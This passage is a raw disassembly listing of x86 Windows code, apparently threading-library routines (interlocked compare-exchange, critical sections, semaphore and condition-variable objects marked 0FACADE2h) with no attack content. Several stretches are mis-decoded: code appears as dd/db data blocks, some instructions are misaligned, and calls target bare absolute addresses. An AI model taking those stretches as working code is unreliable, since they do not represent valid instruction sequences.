esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 2821BE4h loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27E09F8h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3E0, eax nop call near ptr 27F0000h test eax, eax mov dword_50E3FC, eax jnz short loc_4312CD mov eax, dword_50E3E0 mov dword_50E3FC, offset sub_4012D0 push eax nop call near ptr 27502CBh mov dword_50E3E0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3E4 test eax, eax jz short loc_431350 mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3E80Dh, 4C48300h, 6A118Bh, 0ECC6E852h, 0E8900231h dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 231EF7Bh ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3E4 test eax, eax jz short loc_4313DB mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3E80Dh, 4C48300h, 6A118Bh, 25E89052h db 0ECh, 31h, 2 ; --------------------------------------------------------------------------- loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9C0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3F0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9C0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3E4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3E8 mov dword_50E3E4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3EC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E900 call esi push offset dword_50E960 call esi push offset dword_50E9C0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E980 call esi mov eax, dword_50E3E4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3E4 test eax, eax jz locret_431619 mov eax, dword_50E3E8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3E8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3EC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3EC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E900 call near ptr 7C901005h nop mov eax, dword_44574C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E900 nop call near ptr 7C9010EDh mov esi, dword_50F858 push offset dword_50E980 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E9C0 call esi push offset dword_50E960 call esi push offset dword_50E900 call esi mov dword_50E3E4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_50E3E8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3E8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 2780B32h push eax nop call near ptr 2740BDEh test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E9A0 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E9A0 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E9A0 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi 